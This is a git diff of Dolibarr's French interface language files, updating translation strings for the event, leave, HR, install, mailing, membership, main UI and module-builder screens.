ListOfSuggestedConferences = Liste des conférences suggérées -ListOfSuggestedBooths = Liste des stands suggérés -ListOfConferencesOrBooths=Liste des conférences ou stands du projet événementiel +ListOfSuggestedBooths=Stands suggérés +ListOfConferencesOrBooths=Conférences ou stands de projet événementiel SuggestConference = Proposer une nouvelle conférence SuggestBooth = Proposer un stand ViewAndVote = Voir et voter pour les événements suggérés PublicAttendeeSubscriptionGlobalPage = Lien public pour l'inscription à l'événement PublicAttendeeSubscriptionPage = Lien d’inscription public à un événement MissingOrBadSecureKey = La clé de sécurité est invalide ou manquante -EvntOrgWelcomeMessage = Ce formulaire vous permet de vous inscrire en tant que nouveau participant à l'événement : %s +EvntOrgWelcomeMessage = Ce formulaire vous permet de vous inscrire en tant que nouveau participant à l'événement EvntOrgDuration = Cette conférence commence le %s et se termine le %s. ConferenceAttendeeFee = Frais de participation à la conférence pour l'événement : '%s' se produisant du %s au %s. BoothLocationFee = Frais de participation à l'événement : '%s' se produisant du %s au %s. @@ -132,7 +133,7 @@ LabelOfconference=Libellé de la conférence ConferenceIsNotConfirmed=L'inscription n'est pas autorisée, l'événement n'est pas confirmé DateMustBeBeforeThan=%s doit être avant %s DateMustBeAfterThan=%s doit être après %s - +MaxNbOfAttendeesReached=Le nombre maximum de participants a été atteint NewSubscription=Inscription OrganizationEventConfRequestWasReceived=Votre suggestion de conférence a été reçue OrganizationEventBoothRequestWasReceived=Votre demande de stand a bien été reçue @@ -157,7 +158,7 @@ VoteOk = Votre vote a été accepté. AlreadyVoted = Vous avez déjà voté pour cet événement. VoteError = Une erreur s'est produite lors du vote, veuillez réessayer. -SubscriptionOk = Votre inscription a été validée +SubscriptionOk=Votre inscription a été enregistrée ConfAttendeeSubscriptionConfirmation = Confirmation de votre inscription à un événement Attendee = Participant PaymentConferenceAttendee = Paiement de participation à la conférence @@ -165,8 +166,11 @@ PaymentBoothLocation = Paiement de l'emplacement du stand DeleteConferenceOrBoothAttendee=Supprimer le participant RegistrationAndPaymentWereAlreadyRecorder=Une inscription et un règlement sont déjà enregistrés pour l'e-mail %s EmailAttendee=E-mail du participant +EmailCompany=E-mail de l'entreprise EmailCompanyForInvoice=E-mail de la société pour la facturation (si différent du participant) ErrorSeveralCompaniesWithEmailContactUs=Plusieurs entreprises avec cet email ont été trouvées donc nous ne pouvons pas valider automatiquement votre inscription. Veuillez nous contacter à %s pour une validation manuelle ErrorSeveralCompaniesWithNameContactUs=Plusieurs sociétés portant ce nom ont été trouvées, nous ne pouvons donc pas valider automatiquement votre inscription. Veuillez nous contacter à %s pour une validation manuelle NoPublicActionsAllowedForThisEvent=Aucune action publique n'est ouverte au public pour cet événement MaxNbOfAttendees=Nombre maximum de participants +DateStartEvent=Date de début de l'événement +DateEndEvent=Date de fin de l'événement diff --git a/htdocs/langs/fr_FR/holiday.lang b/htdocs/langs/fr_FR/holiday.lang index 27439f66c27..c95d5bf4e54 100644 --- a/htdocs/langs/fr_FR/holiday.lang +++ b/htdocs/langs/fr_FR/holiday.lang @@ -1,11 +1,11 @@ # Dolibarr language file - Source file is en_US - holiday HRM=GRH -Holidays=Feuilles +Holidays=Congés Holiday=Demande de congés CPTitreMenu=Demande de congés MenuReportMonth=État mensuel MenuAddCP=Créer demande de congés -MenuCollectiveAddCP=Nouvelle demande de congé collectif +MenuCollectiveAddCP=Demande de congé collectif NotActiveModCP=Vous devez activer le module Congés pour afficher cette page. AddCP=Créer une demande de congés DateDebCP=Date Début @@ -95,7 +95,7 @@ UseralreadyCPexist=Une demande de congé a déjà été faite pour cette périod groups=Groupes users=Utilisateurs AutoSendMail=Envoi automatique d'email -NewHolidayForGroup=Nouvelle demande de congé collectif +NewHolidayForGroup=Demande de congé collectif SendRequestCollectiveCP=Envoyer la demande de congé collectif AutoValidationOnCreate=Validation automatique FirstDayOfHoliday=Premier jour de congés @@ -149,10 +149,10 @@ XIsAUsualNonWorkingDay=%s est généralement un jour NON ouvrable BlockHolidayIfNegative=Bloqué lorsque le solde est négatif LeaveRequestCreationBlockedBecauseBalanceIsNegative=La création de cette demande de congé est bloquée car votre solde est négatif ErrorLeaveRequestMustBeDraftCanceledOrRefusedToBeDeleted=La demande de congé %s doit être brouillon, annulée ou refusée pour être supprimée -IncreaseHolidays=Augmenter le nombre de jours de vacances -HolidayRecordsIncreased= %s registres de vacances augmentés -HolidayRecordIncreased=Registre de vacances augmenté -ConfirmMassIncreaseHoliday=Augmentation en masse des vacances +IncreaseHolidays=Augmenter le solde des congés +HolidayRecordsIncreased= %s soldes de congés augmentés +HolidayRecordIncreased=Solde des congés augmenté +ConfirmMassIncreaseHoliday=Augmentation massive du solde des congés NumberDayAddMass=Nombre de jours à ajouter à la sélection ConfirmMassIncreaseHolidayQuestion=Êtes-vous sûr de vouloir augmenter les vacances du ou des enregistrement(s) sélectionnés %s ? HolidayQtyNotModified=Le solde des jours restants pour %s n'a pas été modifié diff --git a/htdocs/langs/fr_FR/hrm.lang b/htdocs/langs/fr_FR/hrm.lang index 62b5d2126b8..37fcf986485 100644 --- a/htdocs/langs/fr_FR/hrm.lang +++ b/htdocs/langs/fr_FR/hrm.lang @@ -26,8 +26,8 @@ HRM_DEFAULT_SKILL_DESCRIPTION=Description par défaut des rangs lors de la créa deplacement=Ctrl DateEval=Date d'évaluation JobCard=Fiche emploi -JobPosition=Emploi -JobsPosition=Emplois +JobPosition=Profil de poste +JobsPosition=Profils de poste NewSkill=Nouvelle compétence SkillType=Type de compétence Skilldets=Liste des niveaux pour cette compétence diff --git a/htdocs/langs/fr_FR/install.lang b/htdocs/langs/fr_FR/install.lang index 0888db3aca6..deba44bf403 100644 --- a/htdocs/langs/fr_FR/install.lang +++ b/htdocs/langs/fr_FR/install.lang @@ -88,7 +88,7 @@ LoginAlreadyExists=Existe déjà DolibarrAdminLogin=Identifiant de l'utilisateur administrateur de Dolibarr AdminLoginAlreadyExists=Compte administrateur Dolibarr '%s' déjà existant. Revenez en arrière si vous voulez en créer un autre. FailedToCreateAdminLogin=Echec de la création du compte administrateur Dolibarr -WarningRemoveInstallDir=Attention, pour des raisons de sécurité, afin de bloquer une nouvelle utilisation des outils d'installation/migration, une fois l'installation terminée, il est conseillé de placer dans le répertoire document de Dolibarr un fichier nommé install.lock en lecture seule. +WarningRemoveInstallDir=Attention, pour des raisons de sécurité, une fois la procédure d'installation terminée, vous devez ajouter un fichier nommé install.lock dans le dossier des documents de Dolibarr. Ceci permet de prévenir d'une réutilisation accidentelle ou malveillante des outils d'installation. FunctionNotAvailableInThisPHP=Non disponible sur ce PHP ChoosedMigrateScript=Choix du script de migration DataMigration=Migration de la base (données) @@ -208,9 +208,12 @@ HideNotAvailableOptions=Cacher les choix non disponibles ErrorFoundDuringMigration=Une erreur est survenu lors du processus de migration, aussi l'étape suivante ne peut pas être réalisée. Pour ignorer les erreurs, vous pouvez cliquer ici, mais l'application ou certaines fonctionnalités risquent de présenter des dysfonctionnements jusqu'à la résolution de la ou des erreurs YouTryInstallDisabledByDirLock=L'application essaie de se mettre à jour, mais les pages d'installation / mise à jour ont été désactivées pour des raisons de sécurité (répertoire renommé avec le suffixe .lock).
      YouTryInstallDisabledByFileLock=L'application a tenté de se mettre à niveau automatiquement, mais les pages d'installation / de mise à niveau ont été désactivées pour des raisons de sécurité (grâce à l'existence d'un fichier de verrouillage install.lock dans le répertoire de documents dolibarr).
      +YouTryUpgradeDisabledByMissingFileUnLock=L'application a tenté de se mettre à jour elle-même, mais la procédure de mise à jour n'est actuellement pas permise.
      ClickHereToGoToApp=Cliquez ici pour aller sur votre application ClickOnLinkOrRemoveManualy=Si une mise à niveau est en cours, veuillez patienter. Si non, cliquez sur le lien suivant. Si vous atteignez toujours cette page, vous devez supprimer manuellement le fichier install.lock dans le répertoire documents +ClickOnLinkOrCreateUnlockFileManualy=Si une mise à jour est en cours, veuillez patienter… Sinon, vous devez créer un fichier upgrade.unlock dans le dossier des documents Dolibarr. Loaded=Chargé FunctionTest=Fonction test NodoUpgradeAfterDB=Aucune action demandée par les modules externes après la mise à jour de la base de données NodoUpgradeAfterFiles=Aucune action demandée par les modules externes après la mise à jour des fichiers ou des répertoires +MigrationContractLineRank=Migrer la ligne de contrat pour utiliser le classement (et activer la réorganisation) diff --git a/htdocs/langs/fr_FR/interventions.lang b/htdocs/langs/fr_FR/interventions.lang index c09f8431498..d8f580ff25b 100644 --- a/htdocs/langs/fr_FR/interventions.lang +++ b/htdocs/langs/fr_FR/interventions.lang @@ -50,7 +50,7 @@ UseDateWithoutHourOnFichinter=Masque les heures et les minutes du champ de la da InterventionStatistics=Statistiques des interventions NbOfinterventions=Nb de fiches d'intervention NumberOfInterventionsByMonth=Nb de fiches d'intervention par mois (date de validation) -AmountOfInteventionNotIncludedByDefault=Le total des interventions 'nest pas inclus par défaut dans les profits (dans la plupart des cas, les feuilles de temps totalisent le temps passé). Activez l'option PROJECT_INCLUDE_INTERVENTION_AMOUNT_IN_PROFIT à 1 dans Accueil > Condiguration > Divers +AmountOfInteventionNotIncludedByDefault=Amount of intervention is not included by default into profit (in most cases, timesheets are used to count time spent). You can use PROJECT_ELEMENTS_FOR_ADD_MARGIN and PROJECT_ELEMENTS_FOR_MINUS_MARGIN option into home-setup-other to complete list of element included into profit. InterId=Id intervention InterRef=Intervention ref. InterDateCreation=Date création intervention @@ -69,3 +69,4 @@ GenerateInter=Générer intervention FichinterNoContractLinked=L'intervention %s a été créée sans contrat lié. ErrorFicheinterCompanyDoesNotExist=L'entreprise n'existe pas. L'intervention n'a pas été créée. NextDateToIntervention=Date de la prochaine génération d'intervention +NoIntervention=Aucune intervention diff --git a/htdocs/langs/fr_FR/knowledgemanagement.lang b/htdocs/langs/fr_FR/knowledgemanagement.lang index e11d8815174..99058b6d5c6 100644 --- a/htdocs/langs/fr_FR/knowledgemanagement.lang +++ b/htdocs/langs/fr_FR/knowledgemanagement.lang @@ -47,7 +47,7 @@ KnowledgeRecord = Article KnowledgeRecordExtraFields = Atribut supplémentaires (articles) GroupOfTicket=Catégorisation de tickets YouCanLinkArticleToATicketCategory=Vous pouvez lier l'article à un groupe de tickets (ainsi l'article sera mis en évidence sur tous les tickets de ce groupe) -SuggestedForTicketsInGroup=Suggéré pour les tickets lorsque le groupe est +SuggestedForTicketsInGroup=Suggéré lors de la création du ticket SetObsolete=Définir comme obsolète ConfirmCloseKM=Confirmez-vous la fermeture de cet article comme obsolète ? diff --git a/htdocs/langs/fr_FR/languages.lang b/htdocs/langs/fr_FR/languages.lang index 44eed4d21a1..db6594f3a46 100644 --- a/htdocs/langs/fr_FR/languages.lang +++ b/htdocs/langs/fr_FR/languages.lang @@ -23,7 +23,8 @@ Language_da_DK=Danois Language_de_DE=Allemand Language_de_AT=Allemand (Autriche) Language_de_CH=Allemand (Suisse) -Language_el_GR=Grèque +Language_de_LU=Allemand (Luxembourg) +Language_el_GR=Grec Language_el_CY=Grec (Chypre) Language_en_AE=Anglais (EAU) Language_en_AU=Anglais (Australie) @@ -35,6 +36,7 @@ Language_en_SA=Anglais (Arabie Saoudite) Language_en_SG=Anglais (Singapour) Language_en_US=Anglais (Etats-Unis) Language_en_ZA=Anglais (Afrique du Sud) +Language_en_ZW=Anglais (Zimbabwe) Language_es_ES=Espagnol Language_es_AR=Espagnol (Argentine) Language_es_BO=Espagnol (Bolivie) diff --git a/htdocs/langs/fr_FR/loan.lang b/htdocs/langs/fr_FR/loan.lang index 64791da1eaf..8d71881dadf 100644 --- a/htdocs/langs/fr_FR/loan.lang +++ b/htdocs/langs/fr_FR/loan.lang @@ -28,7 +28,7 @@ CantUseScheduleWithLoanStartedToPaid = Impossible de générer un échéancier p CantModifyInterestIfScheduleIsUsed = Vous ne pouvez pas modifier l'intérêt si vous utilisez le calendrier # Admin ConfigLoan=Configuration du module Emprunt -LOAN_ACCOUNTING_ACCOUNT_CAPITAL=Compte comptable remboursement capital d'un emprunt par défaut -LOAN_ACCOUNTING_ACCOUNT_INTEREST=Compte comptable paiement d'intérêt d'un emprunt par défaut -LOAN_ACCOUNTING_ACCOUNT_INSURANCE=Compte comptable paiement de l'assurance d'un emprunt par défaut +LOAN_ACCOUNTING_ACCOUNT_CAPITAL=Compte comptable à utiliser par défaut pour le capital (module emprunt) +LOAN_ACCOUNTING_ACCOUNT_INTEREST=Compte comptable à utiliser par défaut pour les intérêts (module emprunt) +LOAN_ACCOUNTING_ACCOUNT_INSURANCE=Compte comptable à utiliser par défaut pour l'assurance (module emprunt) CreateCalcSchedule=Créer / Modifier échéancier de prêt diff --git a/htdocs/langs/fr_FR/mails.lang b/htdocs/langs/fr_FR/mails.lang index c7d2e351834..dd5cc418d66 100644 --- a/htdocs/langs/fr_FR/mails.lang +++ b/htdocs/langs/fr_FR/mails.lang @@ -7,7 +7,7 @@ MailCard=Fiche emailing MailRecipients=Destinataires MailRecipient=Destinataire MailTitle=Description -MailFrom=A partir du +MailFrom=De MailErrorsTo=Erreurs à MailReply=Réponse à MailTo=Adressé à @@ -91,7 +91,7 @@ MailingModuleDescContactsByFunction=Contacts par poste/fonction MailingModuleDescEmailsFromFile=E-mails à partir d'un fichier MailingModuleDescEmailsFromUser=E-mails entrés par l'utilisateur MailingModuleDescDolibarrUsers=Utilisateurs avec e-mail -MailingModuleDescThirdPartiesByCategories=Tiers (par catégories/tags) +MailingModuleDescThirdPartiesByCategories=Tiers SendingFromWebInterfaceIsNotAllowed=L'envoyer depuis l'interface Web n'est pas autorisé. EmailCollectorFilterDesc=Tous les filtres doivent correspondre pour qu'un e-mail soit collecté @@ -179,3 +179,4 @@ RecordCreatedByEmailCollector=Enregistrement créé par le Collecteur d'e-mails DefaultBlacklistMailingStatus=Valeur par défaut du champ '%s' lors de la création d'un nouveau contact DefaultStatusEmptyMandatory=Vide mais obligatoire WarningLimitSendByDay=ATTENTION : La configuration ou le contrat de votre instance limite votre nombre d'e-mails par jour à %s . Essayer d'en envoyer plus peut entraîner le ralentissement ou la suspension de votre instance. Veuillez contacter votre support si vous avez besoin d'un quota plus élevé. +NoMoreRecipientToSendTo=No more recipient to send the email to diff --git a/htdocs/langs/fr_FR/main.lang b/htdocs/langs/fr_FR/main.lang index 39d857ae0e8..619dde3f5a1 100644 --- a/htdocs/langs/fr_FR/main.lang +++ b/htdocs/langs/fr_FR/main.lang @@ -206,6 +206,7 @@ Valid=Valider Approve=Approuver Disapprove=Désapprouver ReOpen=Réouvrir +OpenVerb=Ouvert Upload=Envoyer fichier ToLink=Lier Select=Sélectionner @@ -225,6 +226,7 @@ NoUserGroupDefined=Pas de groupe utilisateur défini Password=Mot de passe PasswordRetype=Ressaisir le mot de passe NoteSomeFeaturesAreDisabled=Notez que de nombreuses fonctionnalités ne sont pas activées sur le site de démonstration. +YourUserFile=Votre fiche utilisateur Name=Nom NameSlashCompany=Nom / Société Person=Personne @@ -321,7 +323,7 @@ DurationDays=jours Year=Année Month=Mois Week=Semaine -WeekShort=Semaine +WeekShort=Sem. Day=Jour Hour=Heure Minute=Minute @@ -488,6 +490,7 @@ ActionsOnContact=Événements à propos de ce contact/adresse ActionsOnContract=Événements pour ce contrat ActionsOnMember=Événements vis à vis de cet adhérent ActionsOnProduct=Événements liés au produit +ActionsOnAsset=Événements pour cette immobilisation NActionsLate=%s en retard ToDo=À faire Completed=Terminé @@ -566,7 +569,7 @@ None=Aucun NoneF=Aucune NoneOrSeveral=Aucun ou plusieurs Late=Retard -LateDesc=Le délai qui définit si un enregistrement est en retard ou non dépend de votre configuration. Demandez à votre administrateur pour changer ce délai depuis Accueil - Configuration - Alertes +LateDesc=Le délai qui définit si un enregistrement est en retard ou non dépend de votre configuration. Demandez à votre administrateur pour changer ce délai depuis Accueil - Configuration - Alertes NoItemLate=Aucun élément en retard Photo=Photo Photos=Photos @@ -895,6 +898,9 @@ MassFilesArea=Zone des fichiers générés en masse ShowTempMassFilesArea=Afficher la zone des fichiers générés en masse ConfirmMassDeletion=Confirmation de suppression en masse ConfirmMassDeletionQuestion=Êtes-vous sur de vouloir supprimer les %s enregistrement(s) sélectionné(s) ? +ConfirmMassClone=Confirmation de clonage en masse +ConfirmMassCloneQuestion=Sélectionner le projet vers lequel cloner +ConfirmMassCloneToOneProject=Cloner vers le projet %s RelatedObjects=Objets liés ClassifyBilled=Classer facturé ClassifyUnbilled=Classer non facturé @@ -910,13 +916,14 @@ ExportFilteredList=Exporter liste filtrée ExportList=Exporter liste ExportOptions=Options d'export IncludeDocsAlreadyExported=Inclure les documents déjà exportés -ExportOfPiecesAlreadyExportedIsEnable=L'exportation de pièces déjà exportées est activée -ExportOfPiecesAlreadyExportedIsDisable=L'exportation des pièces déjà exportées est désactivée +ExportOfPiecesAlreadyExportedIsEnable=Les documents déjà exportés sont visibles et seront exportés +ExportOfPiecesAlreadyExportedIsDisable=Les documents déjà exportés sont cachés et ne seront pas exportés AllExportedMovementsWereRecordedAsExported=Tous les mouvements exportés ont été enregistrés comme exportés NotAllExportedMovementsCouldBeRecordedAsExported=Tous les mouvements exportés n'ont pas pu être enregistrés comme exportés Miscellaneous=Divers Calendar=Calendrier GroupBy=Grouper par... +GroupByX=Grouper par %s ViewFlatList=Voir vue liste ViewAccountList=Voir le grand livre ViewSubAccountList=Voir le grand livre auxiliaire @@ -1054,6 +1061,7 @@ SearchIntoContracts=Contrats SearchIntoCustomerShipments=Expéditions clients SearchIntoExpenseReports=Notes de frais SearchIntoLeaves=Congés +SearchIntoKM=Base de connaissance SearchIntoTickets=Tickets SearchIntoCustomerPayments=Règlements clients SearchIntoVendorPayments=Règlements fournisseurs @@ -1125,6 +1133,7 @@ DeleteFileText=Voulez-vous vraiment supprimer ce fichier? ShowOtherLanguages=Afficher les autres langues SwitchInEditModeToAddTranslation=Passer en mode édition pour ajouter des traductions pour cette langue NotUsedForThisCustomer=Non utilisé pour ce client +NotUsedForThisVendor=Non utilisé pour ce fournisseur AmountMustBePositive=Le montant doit être positif. ByStatus=Par statut InformationMessage=Information @@ -1146,22 +1155,28 @@ UpdateForAllLines=Mise à jour de toutes les lignes OnHold=En attente Civility=Civilité AffectTag=Affecter un tag/catégorie -SetSupervisor=Choisir un superviseur +AffectUser=Assigné un utilisateur +SetSupervisor=Définir le responsable CreateExternalUser=Créer utilisateur externe -ConfirmAffectTag=Affecter les tags en masse -ConfirmSetSupervisor=Choisir un superviseur en masse -ConfirmUpdatePrice=Choisir un pourcentage de hausse/baisse des prix -ConfirmAffectTagQuestion=Êtes-vous sur de vouloir affecter ces catégories aux %s lignes sélectionnées ? -ConfirmSetSupervisorQuestion=Êtes-vous sur de vouloir affecter ce superviseur aux %s lignes sélectionnées ? -ConfirmUpdatePriceQuestion=Êtes-vous sur de vouloir mettre à jour les prix des %s lignes sélectionnées ? +ConfirmAffectTag=Attribution de tags/catégories en masse +ConfirmAffectUser=Affectation d'utilisateurs en masse +ProjectRole=Rôle affecté à chaque projet/opportunité +TasksRole=Rôle affecté à chaque tâche (si utilisés) +ConfirmSetSupervisor=Ensemble de superviseur en vrac +ConfirmUpdatePrice=Choisissez un taux de prix d'augmentation/diminution +ConfirmAffectTagQuestion=Voulez-vous vraiment attribuer des tags/catégories aux enregistrements sélectionnés %s ? +ConfirmAffectUserQuestion=Voulez-vous vraiment affecter des utilisateurs aux enregistrements sélectionnés %s ? +ConfirmSetSupervisorQuestion=Êtes-vous sûr de vouloir définir le superviseur sur le ou les enregistrements sélectionnés %s ? +ConfirmUpdatePriceQuestion=Voulez-vous vraiment mettre à jour le prix du ou des enregistrements %s sélectionnés ? CategTypeNotFound=Aucun type de tag trouvé pour ce type d'enregistrements Rate=Taux -SupervisorNotFound=Supervisuer non trouvé +SupervisorNotFound=Superviseur introuvable CopiedToClipboard=Copié dans le presse-papier InformationOnLinkToContract=Ce montant n’est que le total de toutes les lignes du contrat. Aucune notion de temps n’est prise en considération. ConfirmCancel=Êtes-vous sûr de vouloir annuler EmailMsgID=E-mail MsgID EmailDate=Date de l'e-mail +SetToStatus=Définir sur le statut %s SetToEnabled=Définir sur activé SetToDisabled=Définir sur désactivé ConfirmMassEnabling=confirmation d'activation en masse @@ -1190,8 +1205,8 @@ Terminated=Résilié AddLineOnPosition=Ajouter une ligne à la position (si vide: à la fin) ConfirmAllocateCommercial=Confirmation d'assignation d'un commercial ConfirmAllocateCommercialQuestion=Etes-vous sûr de vouloir assigner l'enregistrement %s sélectionné ? -CommercialsAffected=Commercial affecté au tiers -CommercialAffected=Commercial affecté au tiers +CommercialsAffected=Des commerciaux affectés +CommercialAffected=Représentant des ventes affecté YourMessage=Votre message YourMessageHasBeenReceived=Votre message a été reçu. Nous vous répondrons ou vous contacterons dans les plus brefs délais. UrlToCheck=URL à vérifier @@ -1201,3 +1216,12 @@ CreatedByPublicPortal=Créé à partir du portail public UserAgent=User Agent InternalUser=Utilisateur interne ExternalUser=Utilisateur externe +NoSpecificContactAddress=Pas de contact ou d'adresse spécifique +NoSpecificContactAddressBis=Cet onglet est spécialement prévu pour forcer des contacts ou adresses spécifiques pour l'objet courant. Ne l'utilisez que dans les cas où vous souhaitez définir des contacts ou adresses spécifiques pour l'objet parce que les informations du tiers est incomplète ou inexacte. +HideOnVCard=Cacher %s +AddToContacts=Ajouter l'adresse à mes contacts +LastAccess=Dernier accès +UploadAnImageToSeeAPhotoHere=Téléverser une image depuis l'onglet %s pour afficher une image ici +LastPasswordChangeDate=Date du dernier changement de mot de passe +PublicVirtualCardUrl=Page de carte de visite virtuelle +TreeView=Vue arborescente diff --git a/htdocs/langs/fr_FR/margins.lang b/htdocs/langs/fr_FR/margins.lang index a8a68c6599f..742b8ce76c0 100644 --- a/htdocs/langs/fr_FR/margins.lang +++ b/htdocs/langs/fr_FR/margins.lang @@ -8,6 +8,7 @@ MarginOnServices=Marge / Services MarginRate=Taux de marge MarkRate=Taux de marque DisplayMarginRates=Afficher les taux de marge +ModifyMarginRates=Modifier les taux de marge DisplayMarkRates=Afficher les taux de marque InputPrice=Saisir un prix margin=Gestion des marges diff --git a/htdocs/langs/fr_FR/members.lang b/htdocs/langs/fr_FR/members.lang index f57930d0f3a..1d27ca89964 100644 --- a/htdocs/langs/fr_FR/members.lang +++ b/htdocs/langs/fr_FR/members.lang @@ -4,6 +4,8 @@ MemberCard=Fiche adhérent SubscriptionCard=Fiche cotisation Member=Adhérent Members=Adhérents +NoRecordedMembers=No recorded members +NoRecordedMembersByType=No recorded members ShowMember=Afficher fiche adhérent UserNotLinkedToMember=Utilisateur non lié à un adhérent ThirdpartyNotLinkedToMember=Tiers non lié à un adhérent @@ -15,7 +17,7 @@ ErrorMemberIsAlreadyLinkedToThisThirdParty=Un autre adhérent (nom: %s, i ErrorUserPermissionAllowsToLinksToItselfOnly=Pour des raisons de sécurité, il faut posséder les droits de modification de tous les utilisateurs pour pouvoir lier un adhérent à un utilisateur autre que vous même. SetLinkToUser=Lier à un utilisateur Dolibarr SetLinkToThirdParty=Lier à un tiers Dolibarr -MemberCountersArePublic=Les compteurs de membres valides sont publics +MemberCountersArePublic=Les compteurs des membres valides sont publics MembersCards=Génération de cartes pour les membres MembersList=Liste des adhérents MembersListToValid=Liste des adhérents brouillons (à valider) @@ -36,6 +38,7 @@ DateEndSubscription=Date fin adhésion EndSubscription=Fin adhésion SubscriptionId=Id adhésion WithoutSubscription=Sans adhésion +WaitingSubscription=Adhésion en attente MemberId=ID adhérent MemberRef=Réf adhérent NewMember=Nouvel adhérent @@ -73,12 +76,12 @@ MemberTypeCanNotBeDeleted=Ce type d'adhérent ne peut pas être supprimé NewSubscription=Nouvelle cotisation NewSubscriptionDesc=Ce formulaire permet de vous inscrire comme nouvel adhérent de l'association. Pour un renouvellement (si vous êtes déjà adhérent), contactez plutôt l'association par email %s. Subscription=Adhésion / cotisation -AnyAmountWithAdvisedAmount=Tout montant avec une quantité recommandée de %s%s -AnyAmountWithoutAdvisedAmount=Tout montant +AnyAmountWithAdvisedAmount=N'importe quel montant de votre choix, recommandé %s +AnyAmountWithoutAdvisedAmount=Tout montant de votre choix CanEditAmountShort=Tout montant CanEditAmountShortForValues=recommandé, tout montant MembershipDuration=Durée -GetMembershipButtonLabel=Obtenir l'adhésion +GetMembershipButtonLabel=Rejoindre Subscriptions=Adhésions / cotisations SubscriptionLate=En retard SubscriptionNotReceived=Cotisation non reçue @@ -91,8 +94,8 @@ WelcomeEMail=Email de bienvenue SubscriptionRequired=Soumis à cotisation DeleteType=Supprimer VoteAllowed=Vote autorisé -Physical=Personne physique -Moral=Personne morale +Physical=Physique +Moral=Morale MorAndPhy=Personnes morales et physiques Reenable=Réactiver ExcludeMember=Exclure un adhérent @@ -205,10 +208,12 @@ SubscriptionsStatistics=Statistiques sur les cotisations NbOfSubscriptions=Nombre de cotisations AmountOfSubscriptions=Montant des cotisations TurnoverOrBudget=Chiffre affaire (pour société) ou Budget (asso ou collectivité) -DefaultAmount=Montant par défaut de la cotisation -CanEditAmount=Le visiteur peut choisir/modifier le montant de sa contribution quel que soit le type d'adhérent +DefaultAmount=Montant de contribution par défaut (uniquement utilisé en l'absence de montant définit au niveau du type de membre) +MinimumAmount=Montant minimum (uniquement utilisé lorsque le montant de contribution est libre) +CanEditAmount=Le montant de l'abonnement est gratuit +CanEditAmountDetail=Le visiteur peut choisir/modifier le montant de sa contribution quel que soit le type d'adhérent AmountIsLowerToMinimumNotice=Le montant est inférieur au montant minimum de %s -MEMBER_NEWFORM_PAYONLINE=Rediriger sur la page intégrée de paiement en ligne +MEMBER_NEWFORM_PAYONLINE=Après l'inscription en ligne, basculez automatiquement sur la page de paiement en ligne ByProperties=Par nature MembersStatisticsByProperties=Statistiques des adhérents par nature VATToUseForSubscriptions=Taux de TVA pour les cotisations @@ -229,3 +234,5 @@ CreateDolibarrLoginDesc=La création d'un login utilisateur pour les membres leu CreateDolibarrThirdPartyDesc=Un tiers est l'entité juridique qui sera utilisée sur la facture si vous décidez de générer une facture pour chaque cotisation. Vous pourrez le créer plus tard au cours du processus d'enregistrement de la cotisation. MemberFirstname=Prénom du membre MemberLastname=Nom de famille du membre +MemberCodeDesc=Code membre, unique pour tous les membres +NoRecordedMembers=No recorded members diff --git a/htdocs/langs/fr_FR/modulebuilder.lang b/htdocs/langs/fr_FR/modulebuilder.lang index 2bd50f4225b..9000f85fee2 100644 --- a/htdocs/langs/fr_FR/modulebuilder.lang +++ b/htdocs/langs/fr_FR/modulebuilder.lang @@ -56,6 +56,8 @@ RegenerateMissingFiles=Générer les fichiers manquant SpecificationFile=Fichier de documentation LanguageFile=Fichier langue ObjectProperties=Propriétés de l'objet +Property=Propriété +PropertyDesc=Une propriété est un attribut qui caractérise un objet. Cet attribut a un code, un libellé et un type avec plusieurs options. ConfirmDeleteProperty=Voulez-vous vraiment supprimer la propriété %s ? Cela modifiera le code de la classe PHP, mais supprimera également la colonne de la définition de la table de l'objet. NotNull=Non NULL NotNullDesc=1=Définir la base de données sur NOT NULL, 0=Autoriser les valeurs nulles, -1=Autoriser les valeurs nulles en forçant la valeur à NULL si vide ('' ou 0) @@ -84,13 +86,14 @@ IsAMeasure=Est une mesure DirScanned=Répertoire scanné NoTrigger=Pas de trigger NoWidget=Aucun widget -GoToApiExplorer=Explorateur d'API +ApiExplorer=Explorateur d'API ListOfMenusEntries=Liste des entrées du menu ListOfDictionariesEntries=Liste des entrées de dictionnaires ListOfPermissionsDefined=Liste des permissions SeeExamples=Voir des exemples ici EnabledDesc=Condition pour que ce champs soit actif.

      Exemples:
      1
      isModEnabled('MAIN_MODULE_MYMODULE')
      getDolGlobalString('MYMODULE_OPTION')==2 -VisibleDesc=Le champ est-il visible ? (Exemples: 0=Jamais visible, 1=Visible sur les listes et formulaires de création/mise à jour/visualisation, 2=Visible uniquement sur les listes, 3=Visible uniquement sur le formulaire de création/mise à jour/affichage (pas les listes), 4=Visible sur les listes et formulaire de mise à jour et affichage uniquement (pas en création), 5=Visible sur les listes et formulaire en lecture (pas en création ni modification).

      Utiliser une valeur négative signifie que le champ n'est pas affiché par défaut sur la liste mais peut être sélectionné pour l'affichage).

      Il peut s'agir d'une expression, par exemple :
      preg_match('/public/', $_SERVER['PHP_SELF'])?0:1
      $user->hasRight('holiday', 'define_holiday')?1:5 +VisibleDesc=Le champ est-il visible ? (Exemples : 0=Jamais visible, 1=Visible sur la liste et les formulaires de création/mise à jour/affichage, 2=Visible sur la liste uniquement, 3=Visible sur le formulaire de création/mise à jour/affichage uniquement (pas la liste), 4=Visible sur la liste et formulaire de mise à jour/affichage uniquement (pas de création), 5=Visible sur le formulaire d'affichage de fin de liste uniquement (pas de création, pas de mise à jour). +ItCanBeAnExpression=Cela peut être une expression. Exemple :
      preg_match('/public/', $_SERVER['PHP_SELF'])?0:1
      $user->hasRight('holiday', 'define_holiday')?1:5 DisplayOnPdfDesc=Affichez ce champ sur les documents PDF compatibles, vous pouvez gérer la position avec le champ "Position".
      Pour le document :
      0 = non affiché
      1 = affiché
      2 = affiché uniquement si non vide

      Pour les lignes de document :
      0 = non affiché
      1 = affiché dans une colonne
      3 = affiché dans la colonne description après la description
      4 = affiché dans la colonne description après la description uniquement si non vide DisplayOnPdf=Sur les PDF IsAMeasureDesc=Peut-on cumuler la valeur du champ pour obtenir un total dans les listes ? (Exemples: 1 ou 0) @@ -144,7 +147,9 @@ CSSViewClass=CSS pour le formulaire de lecture CSSListClass=CSS pour la liste NotEditable=Non éditable ForeignKey=Clé étrangère -TypeOfFieldsHelp=Type de champs :
      varchar(99), double(24,8), real, text, html, datetime, timestamp, integer, integer:ClassName:relativepath/to/classfile.class.php[:1[:filter]]
      '1' signifie que nous ajoutons un bouton + après le combo pour créer l'enregistrement
